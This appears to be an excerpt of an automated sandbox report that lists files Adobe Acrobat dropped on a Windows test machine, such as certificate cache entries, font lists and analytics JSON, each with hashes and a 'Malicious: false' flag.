C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklsLci/tfllXlE/HT8kmx7vNNX8RolJuRdxLlGB9lQRYwpDdt:kK1QyeT8lVNMa8RdWBwRd
MD5:	7E2C964FFB1E20D3462036A423617F94
SHA1:	08BAA2601DD849A5065E6B4F3AD8756FD82D288A
SHA-256:	8DE97F7D8226646B4507F4D1CB07F92077BCAAD479DF52DDB7944FFB9AB2DB05
SHA-512:	17197492906A251D393B54FCBD01A8D63292C0CD3A2E8BA2C249FAA3861BB55FD87D569348F3F6936AFCFBBBFFB497AC9D986CAA3BA32CDC552F7B0A241CD518
Malicious:	false
Preview:	p...... ........_.Bb.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1236725537640138
Encrypted:	false
SSDEEP:	6:kKBbPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:pbPiDnLNkPlE99SNxAhUe/3
MD5:	A99EFCF0B945D710F7BF9523EC125A27
SHA1:	906C5DC36A33BDC3349DBE25FAFE0006CCF690E4
SHA-256:	52CD90C2F2B7B93E04E6EBBB28131A7DC7E16A735C4B3EC4C145ED3830BB9D42
SHA-512:	DC9386D8B2155F3763D33DF64B2CF723D6A0364C961590605E2346C2FBF12E72F7EBD385CCDA81D29384D06C924130B532C8C2B156ACDE6114A341C72654ADF3
Malicious:	false
Preview:	p...... .........z.t.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.280

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.280

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.379975291959081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJM3g98kUwPeUkwRe9:YvXKXSHyBLUtn0cEVGMbLUkee9
MD5:	DA0DDAF446B63CCD74F04B04888721EF
SHA1:	EEF846D65D76015B51FD6EA280FC0DD9E228BE4F
SHA-256:	F388399FCDBFB3156CD79CF9936C308EE7923E68B243FA10CED12AF743F0487C
SHA-512:	C3DAB0EF179311433CE70BEE8905C23E6CAEB0B47823A00360858FA6C927027D86F1F08AF03B8A9DD6603BAFF493CB3890C989A2B872402B10E435A2EA33DD72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3342051372987225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfBoTfXpnrPeUkwRe9:YvXKXSHyBLUtn0cEVGWTfXcUkee9
MD5:	F8D890F9744836211E873D0777BBBB35
SHA1:	AFF72A4A558BBF0D29CDE21327AB96F17FF0CCC2
SHA-256:	2FA1B501700BFAAEBFCB80F4E1D13335C3D58E18AC86B76D412FE354C06CC287
SHA-512:	B495EC4AAED69C3DAB966DA117C325803E9C679C356B32E6B76B3E51CC9E92BE808BD858AEA221C267CE6DE836567ADEE086C3A8D7C92D0F6E8FE274E29E16D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3129113515256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfBD2G6UpnrPeUkwRe9:YvXKXSHyBLUtn0cEVGR22cUkee9
MD5:	D5C8DA9E06FCCA1821A1E31F1E3C9972
SHA1:	BC65F91B2CCFFEBA3213A68487CB7A18EFC17E62
SHA-256:	F76ED41C805A0E3D4EA8FA2EEDFCFFFDCE5EEF4AD7655CCF46E11755BE2B4CBB
SHA-512:	46FFA3B9BFF5E2E10CA58D27122022AACED1895B02313FBA0F190E42AB7C73AE4776C1FAA51D3A289558B7176475373661FD592E52B261C8A84ABE595D7A2B6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.360580741505188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfPmwrPeUkwRe9:YvXKXSHyBLUtn0cEVGH56Ukee9
MD5:	7EF8F66B8885E9F8EA16ACC246609814
SHA1:	C7B86D1CFB6D87502B45FC98FDA129B76EB7A610
SHA-256:	077B46DEB5B0999285BF9A68771E232A1E41583B8BDE836E0BA6A5E45F41CDA4
SHA-512:	7EF7C20FBB535EFB2C2DF35DDCA154897470FD07A0A42241369B98CEE095D4FABEC1ECEBB521C8D111933968D7394E52A6A238C8F3FFF15CE8B934532CE2AAE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693340194772065
Encrypted:	false
SSDEEP:	24:Yv6XEydIZJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSz1:YvPy0hgy6SAFv5Ah8cv/z1
MD5:	F881292244A9B9B44071B67F845AD0DB
SHA1:	7DCC822057E32E5FDC938FBCA55D2E656E86333A
SHA-256:	C339EF4FB9205C446520BC8040BFA1A498BBCA244AF71A454C8914224FFDA04E
SHA-512:	EDB596C3A405AA322556FFF1B049CCB47A6371E5DAC30690D32B2D84AF9169831694026F42FFED217A821B7B0F1CC391B554A1991F4122B4634361F0FCE8B193
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313438630082473
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJf8dPeUkwRe9:YvXKXSHyBLUtn0cEVGU8Ukee9
MD5:	761F58DBE693AAB8B757BEEAC2DADE42
SHA1:	7678FEF5EB9345E787D54D5327BE058D24DDF9D9
SHA-256:	3775F10E58B411DFCC9B4FBDA9CC23ED254E3E7BAE169FDF7D3B8361FE7D5975
SHA-512:	642906E1D44D71A9AD3BEF27EF682FD65927BD2E447D7303DB56370CD08934769BEE2124215070E07DB757DA0658A2F30ABC3FCCFC6AE4F4BA053BBCD563C39B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.31560498927074
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfQ1rPeUkwRe9:YvXKXSHyBLUtn0cEVGY16Ukee9
MD5:	D9434E83B11019C6AA6ECF45A174CE58
SHA1:	732ADE14C1D8A6CBB6EB82C27931FD6A21C1E7EB
SHA-256:	0E1B3174534E70291FC29D42D41C102FB30403BEA8DC7318EC7A921B4F3DBC2E
SHA-512:	C89246443D8759FD9CFDD6A69B457DD5F9F7C8A6D9A9E673F5B9255A87A2982435410EFDA67F7F692A08EE0C583D0230DF0C8766D98DFECEF355A57C03FFFA08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324428300733328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfFldPeUkwRe9:YvXKXSHyBLUtn0cEVGz8Ukee9
MD5:	DAA3FC5F5901820E986502C725E63BF2
SHA1:	AD3333D08E2568794F7C513CD16F91C64F8903E6
SHA-256:	27FE9B785F5180CB3765623B423025B71A9D5B2AFCDF6AB9E8721615FC3F5E2A
SHA-512:	667E61BA53A836DB25A9F64F9A662A22B19E2FD514826F897B62D22D60A4473015B4617F7ADF2A8BCB611B51FC0C163FFAA9588C9E9B8F7E00A283B78571C5EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3402335406191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfzdPeUkwRe9:YvXKXSHyBLUtn0cEVGb8Ukee9
MD5:	0FE7AE0658AB2D322FC06987CB7B747F
SHA1:	E2590C6342ABE57FFF07DAF70B32AB180A22FECE
SHA-256:	39D2EC620AD52ED030DCC5E7371E466DAA5ACF34F00F38BD738D634AB1B8C061
SHA-512:	5C1C789581C73E4026D3C84B6F49F40C4432F658DCE133DC98CBD5CB63DA798C8F6E153155962CC7A26D60AF71102B30CC4D56EA3110B0783EF79F32096E0117
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320704545881956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfYdPeUkwRe9:YvXKXSHyBLUtn0cEVGg8Ukee9
MD5:	302B99E11F8C4FF6E1BD336D59661116
SHA1:	0C1175FF01AC261A1D9178B6F991DC2D1FE44D81
SHA-256:	0B0A725147920580E260B613B68F71B91EE657702BC679664B9249606E1C3350
SHA-512:	94E9720EB50FDB3093A96B1B0BE492E4711764AFF2BD4BCCC9FB2AAF3FC7CAE7FE42EE27CB0A119EEF4128194FE80FF9FFC3A87270BCF8F867477E3FD99E193E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.307119435357681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJf+dPeUkwRe9:YvXKXSHyBLUtn0cEVG28Ukee9
MD5:	616496184ECF95C29432C929CB58AA1D
SHA1:	4B08C3076F43DBE6975EECD3BE714C8B1BAA9768
SHA-256:	AF14D2714716FE0847EB6B0B21B13437FC65BBC8E75AC8CE69ADEA5FA31F999F
